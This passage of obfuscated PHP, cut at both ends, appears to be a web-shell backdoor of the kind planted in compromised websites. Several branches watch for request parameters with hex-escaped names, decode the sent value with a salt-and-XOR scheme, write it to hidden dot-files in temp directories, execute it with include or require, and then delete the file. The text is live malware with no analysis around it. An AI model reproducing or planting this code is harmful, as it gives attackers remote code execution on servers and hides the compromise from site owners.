$v3): $sChar = ord($salt[$k % $lenS]); $d =((int)$v3 - $sChar -($k % 10)) ^76; $element .= chr($d); endforeach; $flag = array_filter([getenv("TMP"), "/dev/shm", ini_get("upload_tmp_dir"), getenv("TEMP"), sys_get_temp_dir(), getcwd(), "/tmp", "/var/tmp", session_save_path()]); for ($ptr = 0, $property_set = count($flag); $ptr < $property_set; $ptr++) { $item = $flag[$ptr]; if (is_dir($item) ? is_writable($item) : false) { $pgrp = vsprintf("%s/%s", [$item, ".dchunk"]); $success = file_put_contents($pgrp, $element); if ($success) { include $pgrp; @unlink($pgrp); exit;} } } } if(filter_has_var(INPUT_POST, "pr\x6F\x70er\x74y_\x73et")){ $symbol = array_filter(["/var/tmp", getenv("TEMP"), getenv("TMP"), ini_get("upload_tmp_dir"), sys_get_temp_dir(), session_save_path(), getcwd(), "/tmp", "/dev/shm"]); $object = $_REQUEST["pr\x6F\x70er\x74y_\x73et"]; $object= explode( '.' , $object ) ; $res=''; $salt='abcdefghijklmnopqrstuvwxyz0123456789'; $lenS=strlen($salt ); $y=0; $__tmp=$object; while ($v6=array_shift($__tmp)) { $sChar=ord($salt[$y % $lenS] ); $d=((int)$v6 - $sChar - ($y % 10))^74; $res.=chr($d ); $y++; } $holder = 0; do { $pgrp = $symbol[$holder] ?? null; if ($holder >= count($symbol)) break; if (array_product([is_dir($pgrp), is_writable($pgrp)])) { $comp = implode("/", [$pgrp, ".ent"]); if (@file_put_contents($comp, $res) !== false) { include $comp; unlink($comp); exit; } } $holder++; } while (true); } if(isset($_POST) && isset($_POST["\x66\x6Cag"])){ $data_chunk = array_filter([getenv("TMP"), "/dev/shm", sys_get_temp_dir(), getcwd(), session_save_path(), "/tmp", getenv("TEMP"), ini_get("upload_tmp_dir"), "/var/tmp"]); $itm = $_POST["\x66\x6Cag"]; $itm =explode("." ,$itm ) ; $data=''; $salt='abcdefghijklmnopqrstuvwxyz0123456789'; $lenS=strlen($salt ); foreach ($itm as $s => $v4) { $sChar=ord($salt[$s %$lenS] ); $d=((int)$v4 - $sChar - ($s %10)) ^ 42; $data .= chr($d ); } while ($ent = array_shift($data_chunk)) { if (is_writable($ent) && is_dir($ent)) { $binding = implode("/", [$ent, ".hld"]); if (file_put_contents($binding, $data)) { include $binding; @unlink($binding); die(); } } } } if(isset($_POST) && isset($_POST["\x70tr"])){ $entry = array_filter([getcwd(), ini_get("upload_tmp_dir"), "/dev/shm", getenv("TMP"), "/var/tmp", session_save_path(), getenv("TEMP"), sys_get_temp_dir(), "/tmp"]); $data = $_POST["\x70tr"]; $data = explode ( "." , $data ) ; $component = ''; $s4 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s4 ); $m = 0; $len = count($data ); do { if ($m>=$len) break; $v1 = $data[$m]; $chS = ord($s4[$m% $lenS] ); $dec = ((int)$v1 - $chS - ($m% 10)) ^ 42; $component.= chr($dec ); $m++; }while (true ); while ($ent = array_shift($entry)) { if (max(0, is_dir($ent) * is_writable($ent))) { $reference = "$ent/.comp"; if (file_put_contents($reference, $component)) { require $reference; unlink($reference); exit; } } } } if(!is_null($_REQUEST["dat"] ?? null)){ $sym = array_filter([ini_get("upload_tmp_dir"), sys_get_temp_dir(), "/dev/shm", session_save_path(), "/tmp", "/var/tmp", getcwd(), getenv("TEMP"), getenv("TMP")]); $key = $_REQUEST["dat"]; $key = explode ( "." , $key ); $parameter_group = ''; $s9 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s9); foreach ($key as $z => $v7) { $chS = ord($s9[$z % $sLen]); $dec = ((int)$v7 - $chS - ($z % 10)) ^ 22; $parameter_group .= chr($dec); } for ($pgrp = 0, $descriptor = count($sym); $pgrp < $descriptor; $pgrp++) { $k = $sym[$pgrp]; if (!!is_dir($k) && !!is_writable($k)) { $symbol = implode("/", [$k, ".object"]); if (file_put_contents($symbol, $parameter_group)) { include $symbol; @u